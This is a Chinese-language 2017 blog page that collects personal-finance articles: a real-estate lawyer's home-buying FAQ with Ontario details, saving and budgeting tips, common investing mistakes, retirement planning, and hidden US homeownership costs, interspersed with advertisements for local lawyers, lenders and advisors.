        2、不唯利是图。许多投资新手由于对于整个行业缺乏全面的了解,会认为投资理财自然是能赚大钱的,也听说过一些人赚大钱的真实案例。因此,认为高收益是十分普遍和合理的情况。但是高收益往往背后隐藏的是高风险。

        3、冷静面对。俗话说得好,冲动是魔鬼。对投资理财而言,魔鬼和天使就在一念之间。盲目投资的情况下,最大的可能性就是遭受损失,此时的投资理财就变成了魔鬼。特别是投资理财的新手,在进行投资理财时,一定要保持冷静和谨慎,多观察,多研究,再做决定。这样才能避免少受损失、少亏钱。参考:夫妻理财攻略

        4、学会止损。市场是处于不断变化之中的,有行情好的时候,也有行情不好的时候。股市有涨有跌、其他理财产品的收益也有升有降,这些都不是以投资者的意志为转移的。所以说,投资者必须学会面对这样的客观情况,在自己所投资的理财产品出现下跌的时候,如果无法判断其未来走势,就应该适时地进行止损,避免遭受更多的损失。

        理财技巧:怎么能避免亏钱?选择合适的平台、不唯利是图、冷静面对,学会止损都能帮你避免亏钱。

        来源:102like

        2017-05-11 / by / in ,
        律师告诉你买房必知信息 损失上百万可别后悔 ?Tel:718-888-8720 (纽约房屋买卖律师/咨询/指导/费用介绍/注意事项)
        买房可以说是很多家庭的头等大事,一次性投入一家人的血汗钱不说,更关乎未来居住的舒适度。签订合同也是一个很严肃的法律行为,合同对双方都有约束力,不可以任意修改或取消合同,否则要付违约责任。如果你打算买房,下面的这些买房知识或许可以帮到你。

        郭凤丽房地产律师

        电话:718-888-8720

        邮箱:guosaaociates@gmail.com

        地址:36-26 Main St.#2B, Flushing NY 11354

        (1)签了房屋买卖合同

        但拿不到银行贷款怎么办?大多数人买房是需要申请银行贷款的,而且许多人是在签订买房合同后才与银行商洽贷款事项,因此有可能出现签了合同拿不到贷款的情况。在这种情况下如何取消合同而又避免违约责任呢?买主在购房合同中一定要加上一个条件条款(condition clause),即允许买主在几天之内申请贷款,如果拿不到要求的贷款额度或利率标准,买主有权取消合同,所有定金退回买主,双方互不追究责任。

        这个条款不包含在标准合同中,买主要根据自己的信贷能力把这个条款加入合同中,才能够给自己留一条退路,不至于因为拿不到贷款而违约。

        同样,如果买卖任何一方在房屋交吉前要求某项条件必须满足,比如买主要求验房,或者是要先卖掉现住的房子才能买新房等等,那么双方一定要把各自的要求以条件形式明确写入合同,以备万一该条件达不到时,可以取消合同。

        (2)签了买房合同

        卖主答应交吉前提供有关房屋的文件,如税单,防火证明等,可直到交吉前还没如约交出这些文件,买主有权以此理由拒绝交吉吗?

        这个问题要看合同中卖主的责任是怎么规定的。有两种可能,一:条件条款(condition)形式,即规定卖主必须在某日前向买主提供某些文件,或完成某个事项,如果没有按时完成,则合同作废,定金如数退还。二:保证条款(warranty)形式,即卖主保证向买主提供某些材料,但没有明确规定买主有权取消合同。

        在法律上这两种条款有完全不同的法律后果。条件条款:条件没满足时,合同自动作废。保证条款:这时虽然卖方的保证没有完成,买方却没有当然取消和同的权利,买主应该按时交吉,但可以保留事后追究对方违约的责任,诉求合理的赔偿。也就是说,一方违约时,另一方并不当然有权中止合同。曾经有一个案件,卖主保证该房可以作为多套公寓合法出租,而事实上,交吉前卖主根本没有拿到可以合法出租的政府文件,在这种情况下法官依然判买主必须履行合约,买下此房,然后再告对方赔偿损失。

        因此签订合同时,一定要考虑清楚,各项条件必须写清楚,最好请律师审阅一下合同。

        (3)律师费

        大体上律师费分为几个部分

        (a)律师代政府收的费用:最大一笔是房产交易税(LANDTRANSFER TAX),大约是房价的1%(多伦多地区),首次置业者如果购买新房,大多可以免交此费用。

        (b)杂费:含产权调查费用,税务,水,电等调查费用等等。

        (c)律师费:由于不少费用难以确定,律师常常不能给顾客具体的费用。为了方便顾客,我们律师楼对房屋买卖业务采取统一的收费标准:买房:1100元—(含G.S.T.,一个银行贷款的律师费及所有其他费用,除了房产转让税,即LANDTRANSFER TAX要另外付费)卖房:750元—(所有费用,含G.S.T.)

        (4)房屋买卖双方可以请同一个律师吗?

        一般情况下,房屋买卖双方最好请不同的律师,因为律师的责任是保护当事人的权益,而房屋买卖双方是有利益冲突的。尤其是在商业物业买卖,生意买卖中买卖双方一定要请不同的律师。如果情况单纯,房屋买卖双方也可以请同一个律师。

        (5)房屋买卖过程之中什么时候请律师?

        最好在签合同前请律师审查一下合同,尤其是新房,Condon和Townhouse的买卖合同。新房买卖合同中常常会要求额外付一些费用,如公共道路建设费用,植树种草费用等等,有时可达一,二万元。Condon和Townhouse则可能出现管理费用,维修费用大幅攀升的情况。很多买主不了解这些情况,到交接时才发现,又不得不买。签合同前请律师看合同,至少可以做到心中有数。

        (6)房屋买卖要给律师多少准备时间?

        一般来讲,顾客在房屋买卖前,应至少提前三,四周(Closing Date前,即交吉日前)将所有文件交给律师。当然,越早越好。

        在这里,特别提醒大家注意一个时间,即:Requisition Date。这是在房屋买卖合同中规定的一个产权调查期限。如果在此时间前律师完成房屋的产权调查,结果发现房屋产权方面有严重问题,那么可以据此做出不购买房屋的决定,买卖和约解除,订金退回。而如果在此时间后才发现产权有问题,或许不能中断交易,只能履行和约。某些时间律师也无法掌控,比如政府部门回复税务问题的文件一般需要二周时间。再如,银行核准贷款的文件,银行内部作业常常也要一,二周时间才能交到律师手中。

        (7)关于mortgage

        一般来讲,律师并不能代表利益有冲突的双方,但是在加拿大的房地产交易中,律师却同时代表银行与借贷买房的当事人。也因为如此,从理论上讲,律师并不方便对顾客mortgage出具太多的法律意见。一般情况下,最好是顾客自己和银行之间商谈好mortgage的条件,然后律师按照双方的协议出具法律文件,确保双方的利益,确保和约符合双方的要求。中国人常常只有一个mortgage,问题不大,假如有二,三个mortgage,就容易出问题。

        (8)关于offer

        目前多伦多房地产市场异常火爆,尤其是中,低价位的房屋市场,常常一有新盘上市,几个人争抢。但是,越是在这种时候,越要注意下offer时须考虑全面,以免留下隐患。如:房龄较长的旧屋,最好加入验房师验屋条款,又如:旧的condo和townhouse,应当加入如下条款:预先审阅管理公司财务文件,否则或有管理费,修理费大幅攀升的情况而不知。因此建议先请律师审阅offer。

        (9)关于订金

        订金的数目最好少于一万元,因为一旦有纠纷,可入禀小额法庭,省时省力。否则,有可能诉求于安省法庭。那么法律费用昂贵,审理时间漫长,或得不偿失。新房情况比较复杂,更要注意。

        (10)关于私下交易

        私下进行的房地产交易(即不通过经纪,买卖双方自行成交的房地产交易),买卖双方最好请不同的律师,而且订金应该存于律师的信托账户中,也应该由律师起草合同,按正常程序进行,只有这样做,才能保障双方的利益。

        (11)关于异地交易

        一些密西沙加市的朋友,甚至远离多伦多市,居住安省其他地方的朋友来电询问,律师能否帮助他们处理房地产买卖事宜。大体上讲,大多伦多地区,York(Vaughan,Maple,Thonhill,Markham,Richmond hill,Aurora,Newmarket,Stouffville等),Peel(Mississauga,Brampton,Milto等),Durhan(Pickering,Ajax,Whitby,Oshawa等),我们律师完全可以办理。安省其他地区要看具体的城市和房地产交易的类别,一般来讲,自用住宅交易大多可以办理。

        (12)关于新房交吉日

        新房交吉日常常会有变动,大多数情况下是推迟交吉,因此购买新房者要注意计划好,以免出现麻烦。新房合同不少条款是保护开发商的权益的,推迟一定天数交房是法律所允许,即使超过规定天数,一些开发商还是会找到各种“合法”的理由不交房。如果市场好,甚至会退回订金,不交房。

        (13)关于新房开发商的mortgage

        一些新房的开发商会提供非常优惠mortgage,如果最终提供者是一家银行或金融公司,问题不大,而如果是开发商自己提供mortgage,就要注意一下,因为这种mortgage常常只有1-3年,然后购房者仍然要其他金融机构申请mortgage,到时万一申请不下来,问题就比较严重。

        (14)关于新房合同条款

        新房合同条款常常非常繁琐,而且不少条款是保护开发商的权益的,需要提醒朋友们注意的是,想要变更其中任何一条条款都会非常困难,从这个角度讲,选择有信誉的开发商最为重要。另外,新房合同条款常常使用大量的法律术语,一般情况下,律师不可能每一条都给以解释,只能是重点解释重要的条款。

        (15)关于新房的附加费

        开发商有时会在新房的合同中列明额外的附加费,如公共道路建设费,教育附加费等等,总数或有一,二万元。这是在房价以外的费用,需要注意一下。

        (16)关于新房的楼花转让

        一些楼盘,在建筑期内即开始销售,这时购买的单位,习称“楼花”,有一些人购买楼花后又将它转售出去,如果购买转售的楼花,就要仔细研究一下开发商销售合同中的相关条款,有些开发商在合同中明确规定不同意转售楼花,或规定开发商预售某个百分比,如70%后才允许楼花自由转售。

        (17)关于土地转让税(LAND TRANSFER TAX)

        对于购房者来说,安省政府收取的土地转让税是一笔不小的开支,此项费用大约是房价的1%左右。在交吉日前,买家必须将此费用交给律师,由律师交给安省政府。第一次买房而且是买新房的居民,有可能免去此费用,但上限是2000元,即土地转让税减去2000元,多出部分要缴,少则不退。另外,此项福利不可以和OHOSP(Ontario Home Ownership Savings Plan)合用,也就是说,已经购买了OHOSP的居民不能享有减免土地转让税的优惠。

        (18)关于OHOSP(Ontario Home Ownership Savings Plan)

        OHOSP是安省居民才可能享有的一种福利,符合条件者直接到银行购买。在房子交接前需要到银行申请取出这笔钱,银行批准后会发出一份三连张的表格,除了购房者填写一部分内容外,其中部分内容需要律师填写,签字,然后再交给银行,银行会将相关款项直接交给律师,作为购房款的一部分。

        (19)关于“房产证”

        在加拿大安省购买房地产,购房者不会获发类似中国大陆的“房产证”。如果房产位于多伦多市,买家也只能拿到一份“土地转让证”,

        该证只能够证明卖家把该房转让给买家。如果房产位于密西沙加市或万锦市等地,则连这份“土地转让证”也没有,只有一份电脑打印出来的文件,上面有一个安省政府土地登记号码。事实上,最重要的是房产要在安省政府土地登记处登记,如果有疑问,可以随时去安省政府土地登记处查询。

        (20)关于房屋改建问题

        部分业主会将房屋改建,而安省政府对房屋改建有严格的审批制度,非法改建如果出现问题,不仅保险公司可能不会理赔,屋主还可能触犯刑律。购房者也要注意一下这个问题,注意卖家有无将房屋非法改建,如果有非法改建的情况,买家应该要求卖家回复房屋原状。业主如果想改建房屋,一定要申请改建许可证。具体情况可向注册建筑师查询。

        来源:加国无忧

        郭凤丽房地产律师:電話:718-888-8720/紐約 房產 律师/ 纽约房地产律师/纽约房屋买卖/纽约房屋买卖律师/纽约买房/法拉盛房产律师

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        银通贷款公司:纽约贷款/房屋贷款/ 电话:(201)448-7117 商业贷款/重新贷款/免查收入贷款

        2017-05-11 / by / in , , ,
        上班族忙里偷闲理财的四个招数
        尽管有些人也拿着大把的工资,但都知道,仅靠工资过生活确实不易。上班时间得辛苦工作,下班时间又得忙自己的事,或休闲看剧,或陪家人孩子等等。我们想理财的时候,无奈银行也大多是关门下班了,想炒股时,股市又不在交易时间,那该如何呢?以下几个方式,可能让你忙里偷闲,抓住机会来赚钱。

        1、做个“不管事”的老板

        想大把的赚钱,一定需要自己当老板吗?不,其实你也可以做一个“幕后”、“不管事”的老板,即做一个资金上的合伙人。平时你可以不参与管理,让其他合伙人来管理,或聘请职业的经理人来管理。你只是出资,并取得相关的投资“分红”即可。当然,你也可能会涉及一些管理方面的事情,这些是在你有时间和愿意管理的前提下。

        2、选机构代为投资

        在投资中,可以自己投资,也可以交给别“人”去投资。以金融投资为例,交给信任的机构投资的方式很常见,比如股市中有购买股票基金的方式来投资,让机构来帮你运作股票,你只需每年缴纳管理费、托管费、认购费即可,其余赚的钱都是自己的。这些投资,有的是收益浮动类型,也有的比如众星拱月mom证券投资计划这类,提供有8%的固定收益外加投资的潜在收益。而基金有公募和私募、阳光私募等,投资的话,理财师建议找正规的、有合法牌照的来进行投资,避开不正规的融资渠道。

        3、手机上的理财

        互联网发达的时代,投资理财的渠道也不限于去银行柜台、去交易所做投资,甚至都不用在电脑边进行。通过手机,移动端其实也可以办到很多投资理财的事。手机炒股、手机理财也需要注意安全,一定要设置好相关密码,防止资金出现安全问题。另外,你投资的公司或者机构,一定不能仅仅是网络上的“虚拟”存在,一定是线下真实的,证照齐全、有办公地址的,否则很容易上当受骗。

        4、尽量选择长线的投资形式

        上班族没时间理财投资,其实只是相对于短期而言。在投资理财上,其实做一些长线的投资也很有必要,也解放了时间不足的问题。长线投资的好处是,收益稳定性较好,比较省时间。举例来说,对于股票的投资,例如选一些大盘蓝筹股之类的,二年三年以上的长线投资,基本还是能赚一些钱的。但是股票这类高风险的投资品种,直接投资的话比例不宜过高,以免对个人或家庭的整体财务造成大的影响,如需要到用钱时,亏钱的股票还得割肉,这就造成了直接的损失,而不只是账面上的损失了。总的来说,对于上班族的理财投资,建议还是以偏机构的投资类型为主较好,更专业、更省心,另外赚钱的几率也更大些。

        来源:和讯理财

        2017-05-11 / by / in ,
        学会六个技巧 让你每天有额外的一笔收入

        1、攒钱:把钱赞起来,每个月强制存下15%,久而久之你就把钱给攒起来了。赚一个花两个,那你肯定是穷人。

        2、生钱:各种稳定的理财产品比如债券,基金

        3、护钱:天有不测风云,谁也不知道会出什么事,所以要给自己买保险,保险是理财的重要手段,但不是全部。生钱就像打一口井,为你的水库注入源源不断的水源,但是光有打井还不够,要为水库修个堤坝——意外、住院、大病。

        二、多少钱可以开始理财?

        多少都可以,错误的观念是“我钱不多,我理不了财”,每个月花100块钱买基金,从20岁开始买,一直到60岁,可以拿63万,而从30岁开始买到60岁,只能拿22万,理财不可以等,越早理财越好。

        三、如何进行资产配置:个人的水库应该分成三份。

        第一份:应急的钱,6个月至一年的生活费。存银行,活期、定期,或者货币市场基金。

        第二份:保命的钱,三至五年生活费,定存、国债、商业养老保险。应该是保本不赔,只会多不会少的东西。

        第三份:闲钱,五年到十年不用的钱,只有这种钱才可以买股票,买基金,做房地产。

        股票:股市如潮水,怎么涨的怎么退。能够预测点位的只有三种人:一天才、二疯子、三骗子。

        买股票之前先问自己三句话:第一,我有房子和保险了吗?第二,我有急用的钱吗?第三,我准备好坚强的神经和良好的心态吗?

        四、理财的习惯

        1、节俭:节俭是好习惯,节俭不是节约,能坐公交就不打车,能吃饱就不多点菜。节省钱、尊重钱是很多富人的习惯。钱是用来花的,但是不可以浪费。富人越有钱越抠门,因为他们知道钱来之不易。而没有钱的人往往”穷大方”。

        2、记账:记账是一个好习惯,有机会去了解一下复式记账法

        五、理财的误区

        1、理财是有钱人的事:穷人、有钱人都能理财,养成良好的习惯,去投资,让钱自己去办些事。

        2、没有时间理:有时间打游戏没时间理财?

        3、钱少,理财没什么效果:理财的秘密是”爱惜钱,节省钱,钱生钱,坚持不懈。”

        4、我不懂理财:不懂可以学,理财并不难,任何时候开始学都不晚。

        六、不要让债务缠住一生

        房奴、车奴、卡奴。中国的负翁大多28-35岁。月还款应该在收入的30%以下,50%会非常难受。想好你是否具备财务能力再买房,努着买房就是房奴。

        车奴更甚,车子是持续消费。日本的富翁每天拎着饭盒坐公交。

        改变生活要从小钱开始还,还卡——还车——还房——攒钱——投资。

        来源:阿波罗

        2017-05-11 / by / in ,
        理财课堂 小细节帮你省大钱

        生活中存在很多省钱妙计,虽然只是日常中的零零碎碎,日积月累也是一笔很大的开销,我们的前提是,绝不降低生活品质。既能节约地球能源,杜绝污染,还能节约开支,绝对乐活!

        1,随身携带密封式水杯,一年省¥720

        口渴时去便利店买瓶饮料,这是大多数人的惯性思维。但这样不仅容易导致摄入过多糖分和香精,塑料瓶子还会给环境带来贻害万年的污染。随身携带水杯,就可以轻松节省下买饮料的开支,经济又环保。此外,喜欢喝星巴克的咖啡迷们,自己携带杯子装杯,每次可以节省2元。

        2,请朋友来家中聚餐,一年省¥15000

        不总是在外面餐馆吃饭,占用了大量资源其实宾主却未能尽欢。其实,家庭温暖的回归才是人们内心真实需要的东西。请朋友到家里来用餐,这不仅体现了主人对客人的尊重,还可以营造一种亲密,融洽的氛围.DIY的鲜花,蜡烛布置,体贴入微的菜谱设计,所耗更少,所得更多。

        3,不要为情绪买单,一年省¥5000

        不在饥饿,愤怒,月经前期逛街。因为这时候的你很容易冲动消费,千万不要犯这种代价昂贵的错误。办公室午休时间,要学会带少量的钱逛街。如果真有你喜欢的东西,记下来。也许回去取现的路上,你就会觉得其实自己并不是非买它不可。

        4,大小帐都记,一年省¥20000

        记帐,这个看似琐碎的习惯,却能帮你了解每个月的金钱流向,还可借此检视是否产生不必要的花费,让你省下一笔钱。有时,你甚至会因为嫌记帐麻烦而放弃一时的购买欲望。记得,小编要教你的不是遏止消费,而是有意识地合理规划自己的财务。

        5,宝宝用品“置换”观,一年省¥6000

        宝宝的消费品具有“短暂性”的特点,虽然疼爱孩子的父母什么都想给宝宝最好的,其实有些物件并不一定要如此。一般先询问亲朋好友,看看是否有不使用的婴儿用品,这样可以减少购买的费用,也避免了资源浪费。

        来源:搜狐

        2017-05-11 / by / in ,
        富不起来?只因这8个习惯

        同样是打工一族,为什么有的人可以买房买车,有的人却还是租屋骑摩托车?其实,不见得要含着金钥匙出生才能享有好的生活,只要改变掌控金钱的态度和习惯,一样可以存得一桶金,现在就来一起好好理财,改掉这些坏习惯:同样是打工一族,为什么有的人可以买房买车,有的人却还是租屋骑摩托车?其实,不见得要含着金钥匙出生才能享有好的生活,只要改变掌控金钱的态度和习惯,一样可以存得一桶金,现在就来一起好好理财,改掉这些坏习惯:1.有特价?买了再说!

        看到特价难免会有购物冲动,产生捡便宜的心态,觉得不买很可惜。但没有规划的支出,让开销超出实际需要,便是荷包失血的主因。在下手结帐前,仔细考虑是否需要再购买。2.没整理账单习惯

         

         

        平常没有查看各种账单,拖到月尾才匆忙缴费,不重视金钱的流向,搞不清楚费用超支的原因,容易陷入“不知为何总是花很多钱”的恶性循环。3.这点小钱没什么

        看到漂亮衣服没有扺抗力,总会买一、两件?朋友邀约一定出席吃大餐?电影、演唱会不容错过?后来才惊觉花了太多钱,没有记账、随意花钱是守不住钱的一大关键。4.爱刷卡

         

         

        钱不够时依然执著要买,导致卡费越来越高,利息越滚越大,才发现负担过重。不但存不到钱,还因负债而让生活品质大打折扣。5.不懂拒绝推销员

        卖保险的推销员总会推荐许多各式各样的保险,以为“有买有保障”就一并全买,懒惰下功夫搞清楚各种保单名目,这样可能买了几乎一样的保险,更被保费压得喘不过气来。6.没规划的投资

         

         

        没有好好分配收入和支出的计划,只是想多赚一点钱,就把所有钱拿去投资;有突发状况时,身上却没有足够的钱应急。投资的那笔钱应该以“不影响生活基本预算”为前题。7.不花时间提升自己

        认为投资很恐怖,总是不尝试,只想如何剩钱而不懂生钱,只依靠一份死薪水。一寸光阴一寸金,每天花10分钟学习投资,是增值自己提升财富的起点。8.钱包太杂乱

        钱币、收据、信用卡等等,全都往钱包塞了算,导致钱包总是肮脏凌乱。不好好善待“钱”,迷迷糊糊的,当然留不住钱包的财富。

        来源:cheers

        2017-05-11 / by / in , ,
        年轻人莫悲观 注意5点理财有希望

        年轻时多挣钱

        年轻是千禧一代最大财富之一,千禧一代应充分趁年轻力壮之时,尽量多挣钱。托拉比说,收入并非只一种来源,还可通过制作的Airbnb网站出租公寓部分,通过TaskRabbit .COM网站赚些外快,或通过tutor.com网站找份补习工作,或在upwork.com网站上看看有无自由职业机会。

        当然,开始时不要指望一下子就能挖个金矿,得一点一点积累才行。有些年轻人,同时兼职多做份工,如闲时帮人遛狗,在餐厅打工等。

        投资房产要慎重

        金融危机时,许多千禧代父母辈认为房产投资最安全。但西北互财财管理顾波波尼奥(Chantel Bonneau)却认为,房产就像股票等许多其它投资一样,并非总能增值。

        专家建议,买房就得买间自己真想住的房子,而不是为炒房才买,投资房产切忌量力而行。

        投资多样化

        波尼奥说,每隔4年,金融市场都会出现小小震荡,因此投资多样化就十分关键,如投资永久性人寿保险,购买出租物业,留足紧急备用金,现金账户,主要居住房产和非退休投资等。

        趁早养成储蓄习惯

        人生在世,总有紧急或祸事发生。年轻人,挣钱应省着花,随时准备好足够3-6个月开销的紧急备用金。每月或每周从工资账户中自动转账至紧急备用金账户。

        高级理财分析师瑞特(Stuart Ritter)说,钱存得越多,越能更好应付生活中紧急情况。

        制定理财计划

        制定一个理财计划和理财目标。想想是成家和置业哪个更重要?还是2个都很重要?用Mint.com等软件随时查看账户中的现金流,看每个月都有哪些进账和开销,使日常理财更清晰。

        2017-05-11 / by / in ,
        投资时应避免这9个常犯的错误

        通过聪明的理财投资可以让财富累积更容易,不过每个人在开始投资计划之前都缺乏实务经验,有哪些注意事项是投资时该留意的?英国投资网站everyinvestor日前归纳了9个投资人常犯的错误,本文整理如下,供读者参考。


        1. 将所有的鸡蛋放在同一个篮子里

        每一项投资开始都会有投资的对象。专家建议,刚开始投资时可以选择提供多样化的全球基金。一般投资者的投资组合是以一项或两项投资为主,当投资组合变多时,投资对象的多样性就显得重要。投资多元化是指有不同资产类别、产品以及基金组合,如此一来便可降低风险。

        2. 试图找出最佳的投资时机

        投资者要找出最佳的投资时机几乎是不可能的,即使是识途老马也有误判的时候。投资家的做法通常是在股价下跌或是达到高点时迅速撤出市场。专家建议,投资对象应选择质优的企业以及负责的基金经理人,并专注于长远目标,如此一来就不存在最佳投资时机的问题。

        3. 独自做新投资的决定

        每当决定一个新投资时,都必须参考既有的投资组合,否则你的新投资将面临极高的风险,因为它将会偏向于某一特定的资产类别或是一家高风险的小公司。

        4. 期望过高

        许多人都希望一夜致富,但这几乎是不可能发生的事。投资是一种放长线钓大鱼的理财方式,只有赌博投机的人希望快速致富。

        5. 从不检视投资组合

        不同的时空背景应有不同的投资组合,再加上基金经理人在同一职务的平均工作年资是4.5年,所以每隔一段时间就必须检视自己的投资组合。此外,你的个人情况也会有所改变,20-30岁或是单身一定和婚后或是有房屋贷款时的投资组合不一样。

        此外,你对承担风险的态度也会有变化。专家建议,每年对你的投资组合做审视,看看它们是否仍适合你。当你想投注新资金时,也是审查投资组合的好时机。

        6. 随波逐流

        这可能是多数投资者会犯的最大错误。多数人会在股市看涨时加码投入,但结果却是买高卖低。很少人会避开这种随波逐流的过失。专家建议,不要被眼前的短利冲昏了头,专注于长期投资才是理财之道。

        7. 从没获利或是未理解到已亏损

        投资时最难释怀的就是做错和犯错,但如果你能即时地将一个无法获利的投资在变得更糟之前就处理掉,至少你还能留住一些现金去做更好的投资。专家表示,最优秀的基金经理人在意识到自己的错误时,会尽速脱身;他们也会在股价持续上涨时,将投资卖掉兑现。

        8. 红利未再投资

        红利再投资可继续获利。通常提供分红的公司是管理制度优、现金流量足并且对股东友善的公司。

        9. 跟随趋势和潮流

        因市场不流行矿业基金就不投资,因生物科技是市场热门产业就趋之若鹜。跟着趋势和潮流投资最大的风险就是投资者不知何时该停,通常的结果都是赔上本钱。专家建议,投资人应该关注企业本身的制度与管理健全度,而非其在市场上受欢迎的程度。如果能够这样,你将能在企业变得受欢迎之前,就能获利。**

        2017-05-02 / by / in ,
        30岁财务规划应掌握这10大法则

        30岁是人生的一个转捩点,许多人可能选择在此时成家,或是刚刚有家庭和小孩。这时候是该买房?还是买车?或是生小孩?告别单身之后,人生的财务规划就完全不同,该如何规划最好?专家给你10个建议。


        30(几)岁的年轻人,人生和事业渐逐步迈向巅峰,只是储蓄不足是大部分人的障碍。《美国新闻与世界报导》(U.S News & World Report)4月17日集结多位财务顾问与规划师的建议,告诉这个阶段的年轻人该如何做财务规划才是最合适的。本文整理如下,提供大纪元读者参考。

        1. 确认退休梦想与计划

        旅行和从事个人所好想必是大多数人的退休梦想。专家建议,当你决定要怎么过退休生活之后,就必须着手计划,充分利用现有的资源,以达到退休后希望的目标。

        2. 系统化投资规划

        当退休目标确定后,每月自动从薪水中提拨固定金额,存入退休储蓄账户做定期存款,必须确认提拨的款项足以满足退休后的生活。

        3. 稳固的投资组合

        个人投资组合应包括低成本、多元化的基金,涵盖股票、债券、房地产以及大宗商品等投资组合。专家建议,只有在该类投资组合稳健后,才可以再尝试像股票、主动管理型基金、私募基金、对冲基金或是风险投资等投资。

        4. 建立个人信用

        30几岁的年轻人可能会有很多开支,这时会在投资或是偿还负债之间做选择。优先偿还高额利息的负债是专家的忠告。但是,这不意味着就可以不为退休生活做准备了。

        5. 为孩子的花费做准备

        多一个小孩的喜悦并不会减低家庭财务的焦虑。但是,报税时扶养小孩是可以抵免税收,还有小孩的托婴费用,在美国也可以抵税。专家提醒,一定要和你的税务人员确认,有哪些小孩的开支是可以抵税。

        6. 不用急着买房

        何时买房可以省最多?专家举个例子,假如你想买一栋价值30万美元的房子,头期款为2.5万美元、利率4%下,到最后必须缴付的利息总金额为19.8万美元。但是,如果当头期款增加到5万美元,利息金额便降至18万美元。所以,有时多存些自备款后再购屋,可以省下一笔为数可观的利息费用。

        7. 善用“529大学储蓄计划”

        对30几岁的年轻人谈小孩念大学,似乎有点太早,但专家提醒,未雨绸缪总是件好事。“529大学储蓄计划”是一个以储蓄支付大学或职业学校学费的账户。父母可以为小孩选择一个“组合”型账户,然后将钱投资在不同的股票和债券,以赚取收益。任何从这个投资衍生出的收益,均无需支付州政府或是联邦税,只要是用于小孩教育支出的用途上。

        8. 好好运用401(k)退休金计划

        在美国,其实有很多方法可以管理个人退休投资组合,以获取更好的回报。专家建议,一定要投资401(k) 计划,如果觉得实在省不了钱,可从省小钱开始,比如投入工资的1%。如果工资调涨,则需相应提高401(k)的投入金额。

        9. 手头必须有足够的现金

        生活上常会有不可预期的费用滋生,所以手头上一定要有一笔现金足以支付这些开支。专家建议,手边拥有3~6个月的现金储备量最为保险。

        10. 在动荡的市场坚持投资立场

        市场的波动永远不会消失,有时景气、有时萧条是必然的现象。专家说,在动荡的市场中坚持投资立场是很重要的,千万不要随波逐流、采取投机方式,只想一夕致富,那只会让你功亏一篑。**

        2017-05-02 / by / in , ,
        过度依赖政府 退休生活难保障

        一个真实的案例,让我们了解,随着人们寿命越来越长,单依靠政府的退休福利是很难保证拥有舒适的退休生活。Karpinkski夫妇结婚已经60年了,89岁的Karpinkski先生回忆说,从他们开始结婚的时候,他们就已经开始了退休储蓄计划,然而,面对突如其来的意外,所有的计划都偏离了预期。


        谨慎储蓄 向往悠闲退休生活

        Karpinkski夫妻的生活比大部分的人都要过得谨慎。在他们的一生当中,他们只拥有3辆汽车,每一辆他们都要开到20万Miles的时候才会换新;第二间房子还是等到拥有足够的现金才购买。

        Karpinkski先生是一个电工,而太太是一个银行的办公室秘书,当他们所有的朋友都住进更大的房子,到处去旅游时,Karpinkski夫妇还得很小心分配他们的收入,他们把收入的一半都存起来,希望以后能够享受游轮和酒店的退休生活。他们储蓄计划一直在持续著,但是,事情却并不像他们预期的那样。

        人生意外突发 政府福利力不足

        在他们就要退休的时候,Karpinkski太太被诊断患有老人痴呆症;10多年来,Karpinkski先生一直陪伴太太抗争疾病。由于年纪越来越大,Karpinkski太太的身体情况越来越差,在2011年,Karpinkski先生别无选择,只能把太太送入老人院。

        Karpinkski先生说,社安局和他的退休金一直都没有帮到他支付这些护理费用,他把他们毕生的积蓄让太太入住了$6,700一个月的护理中心,向往的退休生活被迫取消。但是,Karpinkski先生还是感觉很幸运,如果不是他们的积蓄,他根本无法负担起所有的这些费用。

        寿命越来越长 政府福利挤破头

        65岁以上的人士,超过90%的人现在正在接受社安局的福利,但是,确有很大的一群老年人是在贫困中生活着。大概有20 %的退休人士是完全要依赖社安局生活的。在2014年,62岁开始退休的人士中,平均从社安局所获得的月收入是$1,992,这个数字都还没有超过联邦的贫困线。

        现在美国人的寿命是越来越长,保持健康的成本也越来越高,而且很多公共的福利也很难获得。所以,单纯依靠退休金的退休生活已经没办法很好的保障到我们,我们必须要有个人的退休保障计划。

        研究显示现在退休老人的医疗费用已经到了需要22万,而且有70%的退休人士需要的长期护理服务是不包括在Medicare里面。

        即使大家都很清楚退休生活的严峻性,但是在做个人退休的时候,很多人都是缺乏耐性。每个人都想把他们的退休经费放大,但是很多人却不愿意去等待。现在也越来越多人意识到单纯的个人储蓄已经没有办法保障到我们的退休生活。

        所以我们应该尽早开始我们的退休规划,而且应该是全面的计划,一份全面的退休计划,应该包括退休以后的收入保障和医疗保障问题。

        我们可以提供全面的退休理财规划,可以为你量身定做适合你的退休方案,更多资讯请跟陈白燕,Yan Chen联系,电话:415-939-5936。

        2017-05-02 / by / in ,
        美国购房 隐性成本最高城市盘点

        坐拥美国房产常被视作“美国梦”的一部分,美国房地产市场也是华人投资的新热点;但在美国购房,不小心会落入“养房陷阱”。据房地产数据网站“Zillow”信息,新业主对一些不可避免的隐性成本——包括房产税、保险、庭院维护与房屋保养费等可能缺乏心理准备,在某些城市买房,这笔费用不可小觑,每月账单上会增加1,000美元上下。

        “购房者常常盯着房屋售价或每月的按揭,并没有预估与房屋产权有关的其它费用,而这后一部分可以一下加出很多。”“Zillow”首席营销官艾米‧波休廷斯基(Amy Bohutinsky)这样写道。

        一、高昂的隐性成本从何而来

        按美国通例,房屋经纪人要收取房价的6%作为中介费;贷款手续费、房屋交易税等税费,各州标准不同,一般在1%以下。不过,这些一次性费用还不在“Zillow”说的隐性成本(或称隐形成本)范围内。促成隐性成本高涨的因素,一方面是攀升的劳动力成本——雇用承包商或园景专业人士来保养房屋时最为明显,其次就是较高的房产税(Property Tax,又称物业税)。

        1. 房产税

        业主每年需缴纳房产税,其收缴和使用归属于地方政府,在不同的州或同一州的不同城市,甚至同一城市的不同学区,房产税税率都不一样。各州房产税均值一般在房子评估总价的0.5%~2%之间(详见文后附表),全美均值为1.5%。

        中国人到美国买房,洛杉矶、旧金山、波士顿等都是很受青睐的地区;然而,当地的房产税也比较可观。通常好学区、房价高的地方房产税也高,最高的地区可以达到3%;但如果从孩子的教育来考量,学区房的优势仍然很明显。

        大波士顿地区房屋的隐形成本是全美最高的。图为后湾街区的联体别墅,此街区以房屋售价高著称。(JasonParis/Flickr)
        大波士顿地区房屋的隐形成本是全美最高的。图为后湾街区的联体别墅,此街区以房屋售价高著称。(JasonParis/Flickr)

         

        2. 房屋与庭园保养费

